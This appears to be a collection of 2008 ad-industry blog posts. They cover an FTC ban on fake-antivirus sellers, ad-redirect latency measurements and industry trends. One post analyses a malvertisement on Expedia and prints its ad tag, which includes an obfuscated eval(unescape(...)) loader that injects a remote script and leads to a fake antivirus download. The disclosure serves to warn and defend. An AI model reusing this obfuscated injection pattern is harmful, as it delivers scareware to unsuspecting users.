Thanks to intervention by the FTC, a US district court has issued a temporary order banning the products we have struggled with for so long in the ad-industry: WinFixer, WinAntivirus, DriveCleaner, ErrorSafe, and XP Antivirus (and more). Although primarily aimed at defending consumers, the court injection expressly bars them from performing the scam we have seen so often — “placing advertisements purportedly on behalf of a third party without that party’s consent, or otherwise attempting to conceal their own identities”.

Several networks are named directly in the suit — you probably want to make sure you aren’t working with these:

  1. Burn Ads
  2. Net Media Group
  3. AdTraff
  4. Preved Marketing
  5. Uniqads

According to the suit, the companies behind the scam are: Innovative Marketing (based primarily out of the Ukraine) and IMI Enterprise — and James Reno, Sam Jain, Daniel Sundin, Marc D’Souza, Kristy Ross and Maurice D’Souza named individually.

Thanks FTC!

Full FTC Press Release
The full gory details

Malvertisement on Expedia.com

November 23rd, 2008

Kudos to Andrew Dilling who sent me the full logs of this last night. I don’t have a contact @ Expedia but if someone does please shoot them a note.

Screenshot:

The popup:

Antivirus 2009 Download Page:

Tamper Data:

Calls:

GET http://www.expedia.com/
GET http://www.prolinar.com/?id=200811181921042
GET http://vernariostar.com/?id=200811181921042
GET http://www.google-analytics.com/ga.js
GET http://www.google-analytics.com/__utm.gif?utmwv[...]
http://vernariostar.com/includes.js
POST http://clicksoverview.com/soft.php?aid=075675&d=1&product=XPA&refer=dc77b3921
GET http://antivirusdefense.com/2009/1/freescan.php?nu=77075675

Code of the Ad tag page:

<html><body style="margin:0; padding:0;">
<a href="http://www.rhapsody.com/?ref=26ta7" target="_blank"><img src="http://www.triesto.com/banners-db/Rhapsody/Rhapsody_728×90_1.jpg" border=0></a>

<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));

</script>
<script type="text/javascript">
var pageTracker = _gat._getTracker("UA-6195944-3");
pageTracker._trackPageview();
</script>

<script>
var action_URL = "http://clicksoverview.com/soft.php?aid=075675&d=1&product=XPA&refer=dc77b3921";
var target_URL = "http://clicksoverview.com/soft.php?aid=075675&d=1&product=XPA&refer=dc77b3921";
var warn_prod = "";
eval(unescape(’%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%76%65%72%6E%61%72%69%6F%73%74%61%72%2E%63%6F%6D%2F%69%6E%63%6C%75%64%65%73%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B’));

</script>

</body></html>

I just realized that I broke commenting on my wordpress a couple weeks ago — realized that things had been a little quiet recently! I screwed up and Akismet (the anti-spam) was marking every single comment as spam. Problem has been fixed but I fear a lot of comments have been lost in the 4000+ spam comments.

Apologies to any of you that have commented and got spammed (and if you remember your comment please repost it!).

The World is a’ Changing

November 10th, 2008

Unless you’ve been living under a rock somewhere you’ve probably heard that the whole world is crumbling around us. We’re entering the great depression, guard your cash, no more VC, we’re all POOR.

Well, first let me reassure you — so far the nuclear winter hasn’t started yet. The data that exists so far has been fairly sparse and inconclusive — Google is up, AOL is down… Rubicon claims the sky isn’t falling whereas PubMatic claims prices are steadily falling. I’ve had quite a few in depth discussions over the past few weeks on exactly this topic — where is the industry headed? How is the economic downturn affecting online advertising? What are the big boys doing? What’s new exciting?

Last week’s AdECN announcement and a short stroll through the booths at AdTech finally motivated me to get up and write another blog post! (sorry for my absence, life is pretty hectic these days). So here goes in no particular order my views of exciting things in the market today and what’s coming next.

The traditional “marketplace” network model is dead

By traditional networks I mean the models that ValueClick, Casale and Ad.com were founded on — networks that were primarily built by matching large amounts of supply and demand. The name of the game was to get as many advertisers and publishers together as possible to build the largest marketplace. Once the network was large enough, ad dollars naturally flowed to these players as they were a “one stop shop” for thousands of publishers. Large margins are made by buying low and selling inventory to advertisers at a higher price.

This model was used by many companies to build incredibly successful networks — and in fact — most of these networks are *still* very successful. The problem is, the world is changing. Namely:

First, access to inventory is no longer a competitive advantage. Between Exchanges, publisher aggregators and a mass influx of social networking inventory — everybody has access to billions of impressions.

Second, agencies want to cut out the middle man. Agencies have started to realize that networks are taking massive cuts out of their media buys while in many cases simply serving as an aggregator. And indeed, with supply easier and easier to get access to, many agencies are launching initiatives to cut out the middle man. Whether it’s the new Havas Artemis system, the Publicis Vivaki network or the WPP 24/7 acquisition — they’re all moving in the same direction.

Essentially — networks are getting pressure from both sides. On the supply side they are getting commoditized by aggregators and network optimizers and on the demand side a new crop of technology companies is attempting to empower agencies to buy directly — cutting off the ‘marketplace’ networks.

The rise of the pubgregatimizer

Publishers have finally realized that they might not be the best ones to sell their non-guaranteed inventory. Three well funded companies have emerged that are looking to help publishers navigate the sea of ad-networks and best monetize — PubMatic, Rubicon and AdMeld. I think the value prop is obvious — only the largest of publishers can afford the staff to fully manage the distribution of remnant inventory across various networks. At the moment it looks like the three are neck & neck in terms of unique visitors:

Decreased growth rate will force more accountability for agencies

Although the sky isn’t falling, money is getting scarcer. This scarcity will force everyone along the entire value-chain to be more competitive. This will start with the agencies and go all the way to the publisher — everyone will have to prove both effectiveness and figure out new ways to differentiate themselves from others. Scarcity of dollars will also put pressure on agency margins forcing them to look elsewhere on ways to increase their revenues.

Some initiatives have already started here — Publicis has launched Vivaki, WPP bought 24/7 and Havas has Artemis. Although the exact strategies are vague, one thing is clear — Agencies are going to start getting more involved in the buying process as they see their margins drop to 10% or below whereas our traditional networks (dying per the above) are still pulling in 30-50% margins on their media.

The challenge here is that most agencies aren’t setup to buy effectively online. Buying online is much more about technology, analytics & strategy than it is about creativity, ingenuity and imagination. To buy effectively online an agency needs to start working on it’s brain — which of course is currently largely dominated by “right brain” creative folks and lacking in “left brain” analytics. One of the things we see here as an increase in popularity of the ‘media trading experts’ — networks that focus exclusively on helping agencies buy the best possible media for their clients. Leveraging exchanges & aggregators instead of traditional ties to publishers these networks can serve as an unbiased agent of the agency.

Exchanges will move to real-time integration

Even though only one has made it public — AOL, Yahoo, Microsoft & Google are all working on real-time integrations. Why? Any central trading platform for media needs to support different engines & algorithms. If nobody can differentiate themselves on a platform, then nobody will want to use said platform! Although Right Media was a terrific step forward as the first central trading platform, it’s major flaw is that it took the technology out of the network. Real time bidding platforms solve that by allowing smart advertisers & networks to run their own engines. With the big 4 all working on something… it’s going to be interesting to watch what happens!

This combined with all of the above show a great picture for technology focused ad networks. As I wrote about earlier here and here — it is the difficulty of integration that has limited many an online ad technology startup from succeeding. With supply becoming more and more available in more and more programmatic manners — a time is coming when the guy with the best algorithm will actually stand a chance competing against the guy with the best relationships at WPP.

Final Thoughts

This is an incredibly exciting time in the industry — the whole industry is fragmented, there is little standardization and there is a massive amount of pain. I think big changes are coming. I’ll try my best to be a little more prompt about blogging about it while it happens

Also — if anybody is going to be at Adrevenue 08 and wants to meet up, shoot me a note.

AdECN announced their new ‘Federated’ exchange today. What’s the difference? Ad-Networks will be able to bid on AdECN impression in real time.

“Our goal is to provide a fair and level playing field for all the online advertising industry players to play on,” said Jeff Green, co-founder of AdECN. “The federated system simplifies online buying and selling. It will allow ad networks to use their own tools in which they have invested large amounts of time and money, to connect advertisers and publishers across the industry.”

Now as I’ve heard this is something that’s been in the works for quite a while and Microsoft is certainly not alone in moving in this direction. I’ve heard that both Google and Yahoo have been actively recruiting networks for real-time bidding on their respective exchange platforms.

More thoughts on this tonight when I have some more time to write.

Awesome Apple Combo Ad

September 18th, 2008

Just saw this terrific combo ad on the New York Times for Apple where the 728×90 interacts incredibly well with a fat sky on the bottom right. I must say, I wish more advertisers would engage more with the content they are appearing on. I love how the ad is meant to look like a newspaper article, integrating quite well into the NYT homepage experience. I’m sure this cost them an arm & a leg to run, but it sure as hell grabbed my attention!

Screenshot: (click to watch video)

Quality Matters!

September 16th, 2008

Ads being shown by Google Adsense on Recent Posts:

Here’s the problem — I don’t really care how much money I make from advertising on this blog — I care far more about it’s reputation, which of course reflects on my personal reputation. Now I have nothing against display ads — in fact I have spent quite a bit of time optimizing themselves, but give me a filter. Why is it that adsense only gives publishers the option to either “show display” or “do not display”. Give me a “recognized brands only” button! Let me filter out these crappy ads! Let me select advertisers who I will allow to show display ads… give me control!

Thankfully for the rest of us, Google still has a bit to learn about display! In the meantime, I’m switching back to text ads only.

In this blog post I examine the time difference between three different methods of “redirecting” users from one adserver to another. I find that there is a significant difference in latency between 302, IFRAMEs and JavaScript redirects. Specifically — JavaScript redirects are 70% more likely to last longer than a second than 302 redirects. Read on for the details!

Introduction

In the advertising world today there are three primary methods of “redirecting” a user from adserver to another: “302″ redirects (aka URL creatives), IFRAME tags and JavaScript.

302 Redirects: The HTTP 302 status code means that the site being accessed is called “Moved Temporarily”. This is the simplest and easiest way to redirect a user from one adserver to another. When the user’s browser loads the first ad-tag the server responds that the service the user is trying to request (the ad) has “moved temporarily” and passes a URL where the proper content can be grabbed.

IFRAME Tags: In this scenario the adservers responds with a simple HTML page that contains an IFRAME HTML tag with a src URL pointing to the next adserver from which to load content. An IFRAME tag can be most simply described as a page within a web-page. The browser generates a mini web page within the parent page and loads content from the specified source URL.

JavaScript: In this scenario the first adserver responds with javascript code which subsequently called the function “document.write” to inform the browser where to load subsequent content.

So if all we’re trying to do is accept an ad-call and determine which party it is best to redirect to, what’s the difference between the three? Using JavaScript has a minor advantage that it enables the first adserver to execute some logic before redirecting off to the next partner. For example, if the browser language is set to english and timezone is EST then redirect to advertiser A, otherwise redirect to advertiser B. Other than that there are minor technicalities that can be discussed but really — each method accomplishes the same thing.

The Experiment

I’ve always been curious about the performance difference between the three different redirect types and a recent surge in traffic was the perfect opportunity to test this out! So since August 1st I’ve been running a little experiment on the visitors of this blog.

On each page load I make the browser run through a simulation where a fake publisher adserver redirects off to a fake advertiser adserver. Each time this happens I time how long it takes for the browser to load the advertiser adserver after loading the initial publisher ad tag. How it works is simple.

On the top of every page there is an IFRAME that points to “/redirect_testing.php”. This page randomly decides either to do a simple 302 redirect, write out an IFRAME or return JavaScript — each method redirects to the same page and the results are shocking.

First off, out of a total of 476,635 samples there was a nice even distribution between the three — 159,897 redirects, 158,193 iframes, and 158,545 javascript redirects — almost exactly a third each. I split the result data into four different ’speed categories’.

Fast Requests: These are requests in which the advertiser adserver content was loaded in under a second.

Medium Requests: In these it took greater than one second but less than two seconds to hit the advertiser adserver.

Slow Requests: If it took longer than 2 seconds to load the adv-server they are certainly slow requests!

Timeouts: The second request never happened! Uhoh.

The Results

speed type count(*) avg_time
fast redirect 133008 0.365
fast iframe 120544 0.395
fast script 113264 0.445
medium redirect 10937 1.384
medium iframe 14307 1.408
medium script 17626 1.389
slow redirect 14255 6.519
slow iframe 20720 5.889
slow script 22035 5.877
timeout redirect 1697 null
timeout iframe 2622 null
timeout script 5620 null

The first thing that popped out at me when I looked at the above table is that redirects appear to be 80ms faster than javascript on “fast” requests. On medium requests redirects continue to be the fastest although only marginally more than javascript. The anomaly appears in the “slow” category, although at this point we’re looking at a very low percentage of requests.

The second thing that popped out at me was that redirects and iframes seems to be significantly more likely to be “fast” requests than javascript. Digging further:

Redirect IFRAMEs Javascript
Fast (< 1s) 83% 76% 71%
Medium(>1s, < 2s) 7% 9% 11%
Slow (> 2s) 9% 13% 14%
Timeout (> 30s) 1% 2% 4%

Wow. 17% of “redirects” were slower than one second versus 29% for Javascript. Putting that in other words –> Javascript redirects are 70% more likely to take longer than a second than simple 302 redirects.. The second surprising bit is that IFRAMES aren’t that much better with 24% of requests taking longer than a second.

Why should you care? Well, latency matters. And not only from a “keep your users happy” perspective. Every additional 100ms of latency increases the likelihood that your user moves to another page, stop loading the page .. or in other words -> every 100ms of latency added is another subset of your users that are lost.

So how are you redirecting over to your advertisers? Can we all please just 302?

Josh Kopelman from First Round Capital (one of our investors here @ AppNexus) has started a great little site for those of you considering leaving Wall Street for a startup!

While no one is happy with the turmoil we’re seeing facing the financial services sector, and no one is happy to see mass layoffs, this does represent an opportunity for startup companies to attract seasoned, technical talent. With Bear Stearns laying off over 7,000 employees, Lehman Brothers rumored to layoff over 20,000 employees, and Merrill Lynch expected to layoff thousands after their sale to Bank of America, we’re on track to see over 150,000 people lose their jobs this year.

If you are one of those 150,000 employees, you might want to consider joining a startup. These days, startups are more stable than Wall Street (seriously). And while a startup probably won’t offer the creature comforts of a job in the financial services industry, startups offer different benefits. You get to participate in the creation of something new. Your work makes a direct (and clear) impact on the success or failure of the company. No more politics, endless meetings, or multi-layered organization structures. Plus, you’ll likely get stock options to share the upside.

Check it out: http://www.leavewallstreetjoinastartup.com/

First off — the ad is still showing. If someone has a contact @ Mashable, it’d be good to send them a note.

Greg Yardley thinks that this ad is not served by the Adsense network but instead by Mashable’s internal salesforce and that they are simply using Google’s new AdManager product as their adserving solution. Digging through the tags, it’s unclear whether or not this is the case. The actual creative is hosted on the domain “pagead2.googlesyndication.com” which has traditionally been used to host Adsense creatives and ad tags. Google’s AdManager runs on a different domain — “partner.googleadservices.com” — but it is certainly possible that AdManager and AdSense share the same underlying static content delivery system. (someone from Google care to comment?)

This is an excellent example of the fact that URLs generally don’t provide enough information to identify who is delivering the actual advertisement on the page. In this Mashable/Google page, it is unclear — it could be Mashable’s internal salesforce selling the ad — or there could be some server-side integration between AdManager and Adsense and Adsense is responsible for serving this actual creative. Right Media suffered from many of the same problems — people would always yell at the Right Media Ad-Network whenever a creative hosted at content.yieldmanager.com was causing problems, even though that single domain was shared across 50+ networks.

The solution that we came up with @ RM was to start using DNS CNAME aliases when returning any and all content. A CNAME is a simple DNS record that simply says — “this domain name is an alias for this other domain name”. So for example, the domain “content.cpxinteractive.com” is an alias for “content.yieldmanager.com”. This way, if CPX was responsible for serving a bad ad the offending URL would be “content.cpxinteractive.com/ad.jpg” and not “ad.yieldmanager.com/ad.jpg”. CNAMEs allow central serving systems (eg, AdManager) to both hand out tags and return creative content tagged with an owner while still maintaining the same internal systems.